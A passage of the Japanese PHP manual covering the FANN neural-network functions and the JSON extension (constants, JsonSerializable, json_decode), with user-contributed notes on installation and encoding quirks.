$epochs_between_reports = 1000;
$training_data = dirname(__FILE__) . "/xor.data";  // training data file
$ann_save_file = dirname(__FILE__) . "/xor_float.net";  // training data file

// Create ANN object using
$ann = fann_create_standard($num_layers, $num_input, $num_neurons_hidden, $num_output);

if ($ann) {

    // Configure the ANN Activation Function
    fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
    fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

    // Try to train using fann_train_on_file()
    if (fann_train_on_file($ann, $training_data, $max_epochs, $epochs_between_reports, $desired_error)){
        echo 'xor trained.' . PHP_EOL);
    }

    // Try to save
    if (fann_save($ann, $ann_save_file)){
        echo 'xor saved.' . PHP_EOL);
    }

    // Destroy the $ann object
    fann_destroy($ann);
}
?>


Train one iteration with a set of inputs, and a set of desired outputs

  • ≪ fann_train_on_file
  • FANNConnection ≫
  • PHP Manual
  • Fann 関数
  • Train one iteration with a set of inputs, and a set of desired outputs

fann_train

(PECL fann >= 1.0.0)

fann_train — Train one iteration with a set of inputs, and a set of desired outputs

説明

fann_train ( resource $ann , array $input , array $desired_output ) : bool

Train one iteration with a set of inputs, and a set of desired outputs. This training is always incremental training, since only one pattern is presented.

パラメータ

ann

ニューラルネットワークリソース。

input

An array of inputs. This array must be exactly fann_get_num_input() long.

desired_output

An array of desired outputs. This array must be exactly fann_get_num_output() long.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_train_epoch() - Train one epoch with a set of training data
  • fann_get_num_input() - Get the number of input neurons
  • fann_get_num_output() - Get the number of output neurons

User Contributed Notes

There are no user contributed notes for this page.


The FANNConnection class

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

FANNConnection is used for the neural network connection. The objects of this class are used in fann_get_connection_array() and fann_set_weight_array().

クラス概要

FANNConnection {
/* プロパティ */
public $from_neuron ;
public $to_neuron ;
public $weight ;
/* メソッド */
public __construct ( int $from_neuron , int $to_neuron , float $weight )
public getFromNeuron ( ) : int
public getToNeuron ( ) : int
public getWeight ( ) : void
public setWeight ( float $weight ) : void
}

プロパティ

from_neuron

The neuron where the connection starts.

to_neuron

The neuron where the connection ends.

weight

The weight of the connection.

目次

  • FANNConnection::__construct — The connection constructor
  • FANNConnection::getFromNeuron — Returns the postions of starting neuron
  • FANNConnection::getToNeuron — Returns the postions of terminating neuron
  • FANNConnection::getWeight — Returns the connection weight
  • FANNConnection::setWeight — Sets the connections weight

User Contributed Notes

There are no user contributed notes for this page.


The connection constructor

  • ≪ FANNConnection
  • FANNConnection::getFromNeuron ≫
  • PHP Manual
  • FANNConnection
  • The connection constructor

FANNConnection::__construct

(PECL fann >= 1.0.0)

FANNConnection::__construct — The connection constructor

説明

public FANNConnection::__construct ( int $from_neuron , int $to_neuron , float $weight )

Create new connection and initialize its params. After creating the connection, only weight can be changed.

パラメータ

from_neuron

The postion number of starting neuron.

to_neuron

The postion number of terminating neuron.

weight

The connection weight value.

User Contributed Notes

There are no user contributed notes for this page.


Returns the postions of starting neuron

  • ≪ FANNConnection::__construct
  • FANNConnection::getToNeuron ≫
  • PHP Manual
  • FANNConnection
  • Returns the postions of starting neuron

FANNConnection::getFromNeuron

(PECL fann >= 1.0.0)

FANNConnection::getFromNeuron — Returns the postions of starting neuron

説明

public FANNConnection::getFromNeuron ( ) : int

Returns the postions of starting neuron.

パラメータ

この関数にはパラメータはありません。

返り値

The postions of starting neuron.

User Contributed Notes

There are no user contributed notes for this page.


Returns the postions of terminating neuron

  • ≪ FANNConnection::getFromNeuron
  • FANNConnection::getWeight ≫
  • PHP Manual
  • FANNConnection
  • Returns the postions of terminating neuron

FANNConnection::getToNeuron

(PECL fann >= 1.0.0)

FANNConnection::getToNeuron — Returns the postions of terminating neuron

説明

public FANNConnection::getToNeuron ( ) : int

Returns the positions of terminating neuron.

パラメータ

この関数にはパラメータはありません。

返り値

The postions of terminating neuron.

User Contributed Notes

There are no user contributed notes for this page.


Returns the connection weight

  • ≪ FANNConnection::getToNeuron
  • FANNConnection::setWeight ≫
  • PHP Manual
  • FANNConnection
  • Returns the connection weight

FANNConnection::getWeight

(PECL fann >= 1.0.0)

FANNConnection::getWeight — Returns the connection weight

説明

public FANNConnection::getWeight ( ) : void

Returns the connection weight.

パラメータ

この関数にはパラメータはありません。

返り値

The connection weight.

User Contributed Notes

There are no user contributed notes for this page.


Sets the connections weight

  • ≪ FANNConnection::getWeight
  • JSON ≫
  • PHP Manual
  • FANNConnection
  • Sets the connections weight

FANNConnection::setWeight

(PECL fann >= 1.0.0)

FANNConnection::setWeight — Sets the connections weight

説明

public FANNConnection::setWeight ( float $weight ) : void

Sets the connection weight.

This method is different than fann_set_weight(). It does not update the weight value in the network. The network value is updated only after calling fann_set_weight_array().

パラメータ

weight

The connection weight.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


JavaScript Object Notation

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • JsonException — JsonException クラス
  • JsonSerializable — JsonSerializable インターフェイス
    • JsonSerializable::jsonSerialize — JSON にシリアライズしたいデータを指定する
  • JSON 関数
    • json_decode — JSON 文字列をデコードする
    • json_encode — 値を JSON 形式にして返す
    • json_last_error_msg — 直近の json_encode() や json_decode() の呼び出しのエラー文字列を返す
    • json_last_error — 直近に発生したエラーを返す

User Contributed Notes

There are no user contributed notes for this page.


はじめに

この拡張モジュールは、» JavaScript Object Notation (JSON) というデータ交換形式を実装したものです。PHP 5 のデコード処理は、 Douglas Crockford による JSON_checker を基にしています。 PHP 7 では、完全に新しく、改良された JSON パーサが同梱されています。 これは PHP のためだけに特別に書かれ、PHPライセンスのもとでライセンスされています。

注意:

PHP の実装は、 » RFC 7159 の JSON のスーパーセットです。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

JSON 拡張モジュールは、デフォルトで PHP コアに組み込まれています。

PHP 8.0.0 以降、JSON 拡張モジュールは PHP コアに組み込まれているため、 常に有効になっています。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/json

User Contributed Notes

Anonymous 08-Apr-2020 07:32
even though the manual says the json extension is enabled by default and compiled into the core, I had to do a "yum install php-json" on centos 8 running php 7.2
YesCT 27-Jun-2014 07:44
on CentOS php 5.5.13 had to:
yum install php55u-pecl-jsonc php55u-pecl-jsonc-devel
ferenczy at NOSPAM dot volny dot cz 11-Dec-2013 03:46
On Ubuntu 13.10 you have to install this extension first (PHP 5.5.3):

   apt-get install php5-json

(Don't forget to restart web server.)
haebler at gmail dot com 22-Jan-2011 09:45
On RHEL5/CentOS5 add the EPEL repository (http://fedoraproject.org/wiki/EPEL).

After that, installation is as simple as:

    sudo yum install php-pecl-json
cko at audaxis dot com 19-Oct-2010 06:11
On gentoo, need the USE flag "json" to compile into php
dave at davidhbrown dot us 20-Jan-2009 04:24
On one server I use (FreeBSD 6.3; PHP 5.2.6 as module in Apache 2.2.10), PHP was compiled with the '--disable-all' configuration option. Consequently, there exists a secondary configuration file -- /usr/local/php5/etc/extensions.ini -- in which the line

; extension=json.so

must be uncommented (delete the semicolon) and Apache restarted for these functions to be available.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

次の定数は、json_last_error() が返したり、 JsonException の code に格納されている エラーの型を表します。

JSON_ERROR_NONE (int)
エラーが発生しませんでした。 この定数は PHP 5.3.0 以降で使用可能です。
JSON_ERROR_DEPTH (int)
スタックの深さが最大に達しました。 この定数は PHP 5.3.0 以降で使用可能です。
JSON_ERROR_STATE_MISMATCH (int)
アンダーフローあるいはモードの不一致が発生しました。 この定数は PHP 5.3.0 以降で使用可能です。
JSON_ERROR_CTRL_CHAR (int)
制御文字エラー。おそらくエンコードが間違っています。 この定数は PHP 5.3.0 以降で使用可能です。
JSON_ERROR_SYNTAX (int)
構文エラー。 この定数は PHP 5.3.0 以降で使用可能です。
JSON_ERROR_UTF8 (int)
正しくエンコードされていないなど、不正な形式の UTF-8 文字。 この定数は PHP 5.3.3 以降で使用可能です。
JSON_ERROR_RECURSION (int)

json_encode() に渡した配列やオブジェクトに再帰参照が含まれており、エンコードできません。 JSON_PARTIAL_OUTPUT_ON_ERROR オプションを指定した場合は、 再帰参照の部分を null にエンコードします。 この定数は PHP 5.5.0 以降で使用可能です。

JSON_ERROR_INF_OR_NAN (int)
json_encode() に渡した値の中に NAN あるいは INF が含まれています。 JSON_PARTIAL_OUTPUT_ON_ERROR オプションを指定した場合は、 これらの特殊な数値を 0 にエンコードします。 この定数は PHP 5.5.0 以降で使用可能です。
JSON_ERROR_UNSUPPORTED_TYPE (int)
json_encode() が対応していない型、たとえば リソース などが渡されました。 JSON_PARTIAL_OUTPUT_ON_ERROR オプションを指定した場合は、 これらを null にエンコードします。 この定数は PHP 5.5.0 以降で使用可能です。
JSON_ERROR_INVALID_PROPERTY_NAME (int)
JSON オブジェクトを PHP オブジェクトにデコードする際、 json_decode() に渡された文字列に、 \u0000 から始まるキーが含まれていました。 この定数は PHP 7.0.0 以降で使用可能です。
JSON_ERROR_UTF16 (int)
json_decode() に渡された JSON 文字列の中に、 単一の、ペアになっていない UTF-16 のサロゲートコードポイントが含まれていました。 この定数は PHP 7.0.0 以降で使用可能です。

次の定数は、 json_decode() のオプションとして 組み合わせて使用します。

JSON_BIGINT_AS_STRING (int)
巨大な整数値を文字列としてデコードします。 この定数は PHP 5.4.0 以降で使用可能です。
JSON_OBJECT_AS_ARRAY (int)
JSON オブジェクトを PHP の配列としてデコードします。 このオプションは json_decode() の第二引数を true に設定して呼び出すことで、自動的に設定できます。 この定数は PHP 5.4.0 以降で使用可能です。

次の定数は、 json_encode() のオプションとして組み合わせて使用します。

JSON_HEX_TAG (int)
すべての < および > をそれぞれ \u003C および \u003E に変換します。 この定数は PHP 5.3.0 以降で使用可能です。
JSON_HEX_AMP (int)
すべての & を \u0026 に変換します。 この定数は PHP 5.3.0 以降で使用可能です。
JSON_HEX_APOS (int)
すべての ' を \u0027 に変換します。 この定数は PHP 5.3.0 以降で使用可能です。
JSON_HEX_QUOT (int) この定数は PHP 5.3.0 以降で使用可能です。
すべての " を \u0022 に変換します。 この定数は PHP 5.3.0 以降で使用可能です。
JSON_FORCE_OBJECT (int)
非連想配列を使用した場合に、配列ではなくオブジェクトを出力します。 出力を受け取る側がオブジェクトを期待しており、配列が空っぽである場合などに特に便利です。 この定数は PHP 5.3.0 以降で使用可能です。
JSON_NUMERIC_CHECK (int)
数値形式の文字列を数値としてエンコードします。 PHP 5.3.3 以降で使用可能です。
JSON_PRETTY_PRINT (int)
返される結果の書式を、スペースを使って整えます。 PHP 5.4.0 以降で使用可能です。
JSON_UNESCAPED_SLASHES (int)
/ をエスケープしません。 PHP 5.4.0 以降で使用可能です。
JSON_UNESCAPED_UNICODE (int)
マルチバイト Unicode 文字をそのままの形式で扱います (デフォルトでは \uXXXX にエスケープします)。 PHP 5.4.0 以降で使用可能です。
JSON_PARTIAL_OUTPUT_ON_ERROR (int)
エンコード不可能な値は代替値に置き換え、処理を続行します。 PHP 5.5.0 以降で使用可能です。
JSON_PRESERVE_ZERO_FRACTION (int)
float 型の値を常に float 値としてエンコードするようにします。 PHP 5.6.6 以降で使用可能です。
JSON_UNESCAPED_LINE_TERMINATORS (int)
JSON_UNESCAPED_UNICODE が指定されると、 行の終端をエスケープされないままにします。 PHP 7.1 より前のバージョンでは、 この定数がなくてもそういう振る舞いをしていました。 PHP 7.1.0 以降で使用可能です。

次の定数は、 json_decode() および json_encode() のオプションとして組み合わせて使用します。

JSON_INVALID_UTF8_IGNORE (int)
不正な UTF-8 の文字を無視します。 PHP 7.2.0 以降で使用可能です。
JSON_INVALID_UTF8_SUBSTITUTE (int)
不正な UTF-8 の文字を、\0xfffd に変換します。 (Unicode の 'REPLACEMENT CHARACTER') PHP 7.2.0 以降で使用可能です。
JSON_THROW_ON_ERROR (int)
エラーが起きた場合、 json_last_error() や json_last_error_msg() 関数で収集される、 グローバルなエラー状態を設定するかわりに、 JsonException をスローします。 JSON_PARTIAL_OUTPUT_ON_ERROR は JSON_THROW_ON_ERROR よりも優先します。 PHP 7.3.0 以降で使用可能です。

User Contributed Notes

Anonymous 28-Sep-2018 08:52
flags JSON_NUMERIC_CHECK and JSON_PRESERVE_ZERO_FRACTION are broken in php 7+ — json_encode((float)8.8) returns "8.8000000000000007", and json_encode((float)8.8, JSON_NUMERIC_CHECK) and json_encode((float)8.8, JSON_PRESERVE_ZERO_FRACTION) return "8.8000000000000007" too.

the only way to fix this is setting "serialize_precision = -1" in php.ini
ASchmidt at Anamera dot net 20-May-2018 03:53
In a multi-level array, JSON_FORCE_OBJECT will encode ALL nested numeric arrays as objects.

If your concern was ONLY the first-level array (e.g., to make it suitable as a MySQL JSON column), you could just cast your first-level array to object, e.g.:

<?php
$json = json_encode( (object) $array, JSON_PRESERVE_ZERO_FRACTION+JSON_UNESCAPED_UNICODE );
?>

Or, if you have large arrays and are concerned about the overhead of object casting, you could append a "null" value beyond the size of the array, which will force the array to become associative:

<?php
$beyond = count( $array ) + 1;
if ( !array_key_exists( $beyond, $array) )
     $array[ $beyond ] = NULL;
$json = json_encode( $array, JSON_PRESERVE_ZERO_FRACTION+JSON_UNESCAPED_UNICODE );
?>

Of course, your later code has to treat an element with a "NULL" value the same as "!isset()", if it iterates the array.
majid4466 at gmail dot com 07-Jul-2016 05:57
To get a really clean json string use these three constants like so:

<?php
$array = ['?', 'http://example.com/some/cool/page', '337'];
$bad   = json_encode($array);
$good  = json_encode($array,  JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);

// $bad would be  ["\u20ac","http:\/\/example.com\/some\/cool\/page","337"]
// $good would be ["?","http://example.com/some/cool/page",337]
?>
JuanP 24-Nov-2015 01:42
Updated format values list:

    JSON_HEX_TAG => 1
    JSON_HEX_AMP => 2
    JSON_HEX_APOS => 4
    JSON_HEX_QUOT => 8
    JSON_FORCE_OBJECT => 16
    JSON_NUMERIC_CHECK => 32
    JSON_UNESCAPED_SLASHES => 64
    JSON_PRETTY_PRINT => 128
    JSON_UNESCAPED_UNICODE => 256
    JSON_PARTIAL_OUTPUT_ON_ERROR => 512
    JSON_PRESERVE_ZERO_FRACTION => 1024
Anonymous 13-Jun-2015 07:58
I am working with "Marathi Language Data" and I found that when I encoded Marathi data to json using json_encode it returned me unicode values of each character like below:

Program :

<?php
$ar = array("word" => "????");
echo json_encode($ar);
?>

Output of program is :

{"word":"\u0927\u093e\u0921\u0938"}

This is not expected output because what I need is output as

{"word":"????"}

So I used following code:

<?php
$ar = array("word" => "????");
echo json_encode($ar, JSON_UNESCAPED_UNICODE);
?>

And I got the required output as :

{"word":"????"}
on5wis at mac dot com 24-Apr-2015 09:27
since json_encode expects a UTF-8 string there is no need to encode the ? symbol.

I suggest you try to echo : json_encode('?');
It gives: "\u20ac"
I'm running PHP 5.6.5 on the CLI, on MacOS X 10.10
Yzmir Ramirez 23-Sep-2014 12:31
If you curious of the numeric values of the constants, as of JSON 1.2.1, the constants have the following values (not that you should use the numbers directly):

JSON_HEX_TAG => 1
JSON_HEX_AMP => 2
JSON_HEX_APOS => 4
JSON_HEX_QUOT => 8
JSON_FORCE_OBJECT => 16
JSON_NUMERIC_CHECK => 32
JSON_UNESCAPED_SLASHES => 64
JSON_PRETTY_PRINT => 128
JSON_UNESCAPED_UNICODE => 256

JSON_ERROR_DEPTH => 1
JSON_ERROR_STATE_MISMATCH => 2
JSON_ERROR_CTRL_CHAR => 3

JSON_ERROR_SYNTAX => 4

JSON_ERROR_UTF8 => 5
JSON_OBJECT_AS_ARRAY => 1

JSON_BIGINT_AS_STRING => 2


JsonException クラス

(PHP 7 >= 7.3.0, PHP 8)

はじめに

JSON_THROW_ON_ERROR オプションが json_encode() や json_decode() に設定されていた場合に投げられる例外です。 code には、エラーのタイプを含みます。 あり得る code の値については、 json_last_error() 関数を参照してください。

クラス概要

JsonException extends Exception {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


JsonSerializable インターフェイス

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

はじめに

JsonSerializable を実装したオブジェクトは、 json_encode() を呼んで処理されたときの自身の JSON 表現をカスタマイズできます。

インターフェイス概要

JsonSerializable {
/* メソッド */
abstract public jsonSerialize ( ) : mixed
}

目次

  • JsonSerializable::jsonSerialize — JSON にシリアライズしたいデータを指定する

User Contributed Notes

There are no user contributed notes for this page.


JSON にシリアライズしたいデータを指定する

  • ≪ JsonSerializable
  • JSON 関数 ≫
  • PHP Manual
  • JsonSerializable
  • JSON にシリアライズしたいデータを指定する

JsonSerializable::jsonSerialize

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

JsonSerializable::jsonSerialize — JSON にシリアライズしたいデータを指定する

説明

abstract public JsonSerializable::jsonSerialize ( ) : mixed

オブジェクトをシリアライズして、 json_encode() がネイティブにシリアライズできる値にします。

パラメータ

この関数にはパラメータはありません。

返り値

json_encode() でシリアライズするデータを返します。 resource 型以外の任意の型になります。

例

例1 JsonSerializable::jsonSerialize() で配列を返す例

<?php
class ArrayValue implements JsonSerializable {
    public function __construct(array $array) {
        $this->array = $array;
    }

    public function jsonSerialize() {
        return $this->array;
    }
}

$array = [1, 2, 3];
echo json_encode(new ArrayValue($array), JSON_PRETTY_PRINT);
?>

上の例の出力は以下となります。

[
    1,
    2,
    3
]

例2 JsonSerializable::jsonSerialize() で連想配列を返す例

<?php
class ArrayValue implements JsonSerializable {
    public function __construct(array $array) {
        $this->array = $array;
    }

    public function jsonSerialize() {
        return $this->array;
    }
}

$array = ['foo' => 'bar', 'quux' => 'baz'];
echo json_encode(new ArrayValue($array), JSON_PRETTY_PRINT);
?>

上の例の出力は以下となります。

{
    "foo": "bar",
    "quux": "baz"
}

例3 JsonSerializable::jsonSerialize() で整数値を返す例

<?php
class IntegerValue implements JsonSerializable {
    public function __construct($number) {
        $this->number = (integer) $number;
    }

    public function jsonSerialize() {
        return $this->number;
    }
}

echo json_encode(new IntegerValue(1), JSON_PRETTY_PRINT);
?>

上の例の出力は以下となります。

1

例4 JsonSerializable::jsonSerialize() で文字列を返す例

<?php
class StringValue implements JsonSerializable {
    public function __construct($string) {
        $this->string = (string) $string;
    }

    public function jsonSerialize() {
        return $this->string;
    }
}

echo json_encode(new StringValue('Hello!'), JSON_PRETTY_PRINT);
?>

上の例の出力は以下となります。

"Hello!"

User Contributed Notes

rmdundon at gmail dot com 28-Nov-2018 06:43
For those who are also lazy. You cannot just include $this and expect it to work.

For example, this won't work:

<?php
class SomeClass implements JsonSerializable {

   protected $partner;

   function setPartner(object $partner) {
       $this->partner;
   }

   public function jsonSerialize() {
        return $this;
    }
}

$foo = new SomeClass();
$too = new stdClass();
$too->test = 1;
$foo->setPartner = $too;

echo json_encode($foo); // Shows a blank object "{}"

?>

You have to define the things manually, so this will work.

<?php
class SomeClass implements JsonSerializable {

   protected $partner;

   function setPartner(object $partner) {
       $this->partner;
   }

   public function jsonSerialize() {
        $data['partner'] = $this->partner;
        return $data;
    }
}

$foo = new SomeClass();
$too = new stdClass();
$too->test = 1;
$foo->setPartner = $too;

echo json_encode($foo); // Shows {"partner":{"test":1}}
tomasz dot darmetko at gmail dot com 13-Jul-2017 03:03
Nested json serializable objects will be serialized recursively. No need to call ->jsonSerialize() on your own. It is especially useful in collections.

<?php

class NestedSerializable implements \JsonSerializable
{

    private $serializable;

    public function __construct($serializable)
    {
        $this->serializable = $serializable;
    }

    public function jsonSerialize()
    {
        return [
            'serialized' => $this->serializable
        ];
    }

}

class SerializableCollection implements \JsonSerializable {

    private $elements;

    public function __construct(array $elements)
    {
        $this->elements = $elements;
    }

    public function jsonSerialize()
    {
        return $this->elements;
    }

}

// Outputs: [{"serialized":null},{"serialized":null},{"serialized":{"serialized":null}}]
echo json_encode(
    new SerializableCollection([
        new NestedSerializable(null),
        new NestedSerializable(null),
        new NestedSerializable(new NestedSerializable(null))
    ])
);

?>
info at digistratum dot com 26-Jan-2017 07:18
Here's a small test/proof that makes it easy to see some comparative results. Null was the one I was interested in since it was not documented:

<?php
class jsontest implements JsonSerializable {
        function __construct($value) { $this->value = $value; }
        function jsonSerialize() { return $this->value; }
}

print "Null -> " . json_encode(new jsontest(null)) . "\n";
print "Array -> " . json_encode(new jsontest(Array(1,2,3))) . "\n";
print "Assoc. -> " . json_encode(new jsontest(Array('a'=>1,'b'=>3,'c'=>4))) . "\n";
print "Int -> " . json_encode(new jsontest(5)) . "\n";
print "String -> " . json_encode(new jsontest('Hello, World!')) . "\n";
print "Object -> " . json_encode(new jsontest((object) Array('a'=>1,'b'=>3,'c'=>4))) . "\n";
?>

Output is:
Null -> null
Array -> [1,2,3]
Assoc. -> {"a":1,"b":3,"c":4}
Int -> 5
String -> "Hello, World!"
Object -> {"a":1,"b":3,"c":4}
david at vanlaatum dot id dot au 02-Apr-2015 02:57
simonsimcity at gmail dot com is wrong, you can throw exceptions in this but it will wrap with another exception so his example outputs

 PHP Fatal error:  Uncaught exception 'RuntimeException' with message 'It failed!' in -:8
 Stack trace:
 #0 [internal function]: Foo->jsonSerialize()
 #1 -(16): json_encode(Object(Foo))
 #2 {main}

 Next exception 'Exception' with message 'Failed calling Foo::jsonSerialize()' in -:16
 Stack trace:
 #0 -(0): json_encode()
 #1 {main}
   thrown in - on line 16

PHP 5.4.39
Anonymous 23-Jan-2015 06:34
Serialize private attributes to JSON in PHP 5.3

<?php

abstract class Model {

    public function jsonSerialize() {
        $getter_names = get_class_methods(get_class($this));
        $gettable_attributes = array();
        foreach ($getter_names as $key => $value) {
            if(substr($value, 0, 4) === 'get_') {
                $gettable_attributes[substr($value, 4, strlen($value))] = $this->$value();
            }
        }
        return $gettable_attributes;
    }

}

class Content extends Model {

    private $title;
    private $text;

    public function get_title() {
        return $this->title;
    }

    public function set_title($title) {
        $this->title = $title;
    }

    public function get_text() {
        return $this->text;
    }

    public function set_text($text) {
        $this->text = $text;
    }

}

$content = new Content();
$content->set_title('lol');
$content->set_text('haha');

echo json_encode($content->jsonSerialize());
?>
dimstefan83 at gmail dot com 20-Jun-2014 08:34
simple functions to make life easier.
I wanted a way to have a as property value the return value of a method in order to have it initialized. example

class portItem implements JsonSerializable{
    private $idPort;
    private $location;
    private $portLanguages;

    public function getLocation() {
        if(!isset($this->location)){
            return new locationItem();
        }
        return $this->location;
    }

    public function setLocation($location) {
        $this->location = $location;
    }

      public function setidPort($idPort){
        $this->idPort=$idPort;
    }

    public function getidPort(){
        if(!isset($this->idPort)){
            return 0;
        }
        return intval($this->idPort);
    }
    public function setPortLanguages($portLanguages){
        $this->portLanguages=$portLanguages;
    }

    public function getPortLanguages(){
        if(!isset($this->portLanguages)){
            return new genericItems();
        }
        return $this->portLanguages;
    }

    public function getCategoryLanguages(){
        if(!isset($this->portLanguages)){
            return new genericItems();
        }
        return $this->portLanguages;
    }

    public function getPortLanguageAtIndex($index=false){
        if(!$index){
            $index=0;
        }
        return $this->portLanguages[$index];
    }

    public function setPortLanguageAtIndex($index,$language){
        $this->portLanguages[$index]=$language;
    }

        public function jsonSerialize() {
        $dataConverter = new dataConverter();
        return $dataConverter->convertToJson($this);
    }

}

Wit 2 ways you can automatically convert for json.
1.by reading properties
public function convertToJson($object){
        /*approch by using object properties*/
        $class = get_class($this);
        $json = array();
        $properties = get_class_vars($class);
        $keys = array_keys($properties);
        $plength = count($keys);
        for($i=0;$i<$plength;$i++){
            $method =  "get".$keys[$i];
            if(method_exists ($this,$method)){
                $json[$keys[$i]] = $this->$method();
            }
        }
return $json;
}

public function convertToJson($object){
/*approch by using object methods*/
        $class = get_class($object);
        $json = array();
        $methods = get_class_methods($class);
        $plength = count($methods);
        $json = array();
        for($i=0;$i<$plength;$i++){
            if(stripos($methods[$i], "get")!==FALSE){
                $property = mb_substr($methods[$i], 3,mb_strlen($methods[$i],'UTF-8'),'UTF-8');
                $setter = "set".mb_substr($methods[$i], 3,mb_strlen($methods[$i],'UTF-8'),'UTF-8');
                if(method_exists($object,$setter)){
                    $json[$property] = $object->$methods[$i]();
                }

            }
        }

        return $json;
    }

By using this method the result will be a json with value for properties initialized according to each method.

Things to note
1.if you are using the reading properties approach the code cant' work outside of the class for private properties, because they are nto visible, you have to put it the code directly to public function jsonSerialize() {} in order to work.
2.For both approaches has method seems not to be case sensitive else you are going to have problems, i strongly suggest to pay attention in naming convention between property names and method names idPort =>setIdPort() =>getIdPort() (i know my class is done not that way).
3.both approaches since you call method without knowing the arguments you need to pay attention in arguments for getter methods where applicable, check my example
public function getPortLanguageAtIndex($index=false){
        if(!$index){
            $index=0;
        }
        return $this->portLanguages[$index];
    }
that's why i have set it to optional argument. If you don't do that php will complain about missing argument parameter in method XXX.
simonsimcity at gmail dot com 22-Mar-2014 11:05
You can't throw exceptions in here. If you do, you'll get an exception with the message "Failed calling FooClass::jsonSerialize()" and the stacktrace will start at where you called the json_encode() method.

Here's a code-example:

class Foo implements JsonSerializable {
    private $triggerError = true;

    public function jsonSerialize()
    {
        if ($this->triggerError) {
            throw new RuntimeException("It failed!");
        }

        return (array)$this;
    }
}

// Will throw an exception like new Exception("Failed calling Foo::jsonSerialize()")
json_encode(new Foo());
benkuhl at gmail dot com 31-Jan-2013 04:17
A good example on when you would use functionality like this is when working with objects.

json_encode() will take a DateTime and convert it to:

{
    "date":"2013-01-31 11:14:05",
    "timezone_type":3,
    "timezone":"America\/Los_Angeles"
}

This is great when working with PHP, but if the Date is being read by Java.  The Java date parser doesn't know what to do with that.  But it does know what to do with the ISO8601 format...

<?php

date_default_timezone_set('America/Los_Angeles');

class Fruit implements JsonSerializable {
    public
        $type = 'Apple',
        $lastEaten = null;

    public function __construct() {
        $this->lastEaten = new DateTime();
    }

    public function jsonSerialize() {
        return [
            'type' => $this->type,
            'lastEaten' => $this->lastEaten->format(DateTime::ISO8601)
        ];
    }
}
echo json_encode(new Fruit()); //which outputs: {"type":"Apple","lastEaten":"2013-01-31T11:17:07-0500"}

?>


JSON 関数

目次

  • json_decode — JSON 文字列をデコードする
  • json_encode — 値を JSON 形式にして返す
  • json_last_error_msg — 直近の json_encode() や json_decode() の呼び出しのエラー文字列を返す
  • json_last_error — 直近に発生したエラーを返す

User Contributed Notes

There are no user contributed notes for this page.


JSON 文字列をデコードする

  • ≪ JSON 関数
  • json_encode ≫
  • PHP Manual
  • JSON 関数
  • JSON 文字列をデコードする

json_decode

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL json >= 1.2.0)

json_decode — JSON 文字列をデコードする

説明

json_decode ( string $json , bool|null $associative = null , int $depth = 512 , int $flags = 0 ) : mixed

JSON エンコードされた文字列を受け取り、それを PHP の変数に変換します。

パラメータ

json

デコード対象となる json 文字列。

この関数は UTF-8 でエンコードされた文字列でのみ動作します。

注意:

PHP の実装は、 » RFC 7159 の JSON のスーパーセットです。

associative

true の場合、返されるオブジェクトは連想配列形式になります。 false の場合、返されるオブジェクトは object になります。 null の場合、返されるオブジェクトは flags に JSON_OBJECT_AS_ARRAY が設定されているかどうかによって、 連想配列形式か object かが変化します。

depth

デコードするデータのネストの深さの最大値。

flags

JSON_BIGINT_AS_STRING, JSON_INVALID_UTF8_IGNORE, JSON_INVALID_UTF8_SUBSTITUTE, JSON_OBJECT_AS_ARRAY, JSON_THROW_ON_ERROR. からなるビットマスク。 各定数の意味については JSON 定数のページ に説明があります。

返り値

json でエンコードされたデータを、適切な PHP の型として返します。 true、false および null はそれぞれ true、false そして null として返されます。 json のデコードに失敗したり エンコードされたデータがネストの最大値を超えているなどの場合、null を返します。

変更履歴

バージョン | 説明
7.3.0 | flags パラメータに JSON_THROW_ON_ERROR が追加されました。
7.2.0 | associative は nullable になりました。
7.2.0 | flags パラメータに JSON_INVALID_UTF8_IGNORE および JSON_INVALID_UTF8_SUBSTITUTE が追加されました。
7.1.0 | 空の JSONキー ("") は、 _empty_ というキーではなく、 空のオブジェクトプロパティにエンコードされるようになりました。

例

例1 json_decode() の例

<?php
$json = '{"a":1,"b":2,"c":3,"d":4,"e":5}';

var_dump(json_decode($json));
var_dump(json_decode($json, true));

?>

上の例の出力は以下となります。

object(stdClass)#1 (5) {
    ["a"] => int(1)
    ["b"] => int(2)
    ["c"] => int(3)
    ["d"] => int(4)
    ["e"] => int(5)
}

array(5) {
    ["a"] => int(1)
    ["b"] => int(2)
    ["c"] => int(3)
    ["d"] => int(4)
    ["e"] => int(5)
}

例2 無効なオブジェクトプロパティへのアクセス

オブジェクトの中にある、 PHP の命名規約では使えない文字 (ハイフンなど) を含む要素にアクセスするには、 要素名を波括弧とアポストロフィで囲みます。

<?php

$json = '{"foo-bar": 12345}';

$obj = json_decode($json);
print $obj->{'foo-bar'}; // 12345

?>

例3 json_decode() でのありがちな間違い

<?php

// 以下の文字列は JavaScript としては有効ですが JSON としては無効です

// 名前と値はダブルクォートで囲む必要があります。
// シングルクォートは使えません
$bad_json = "{ 'bar': 'baz' }";
json_decode($bad_json); // null

// 名前をダブルクォートで囲まなければなりません
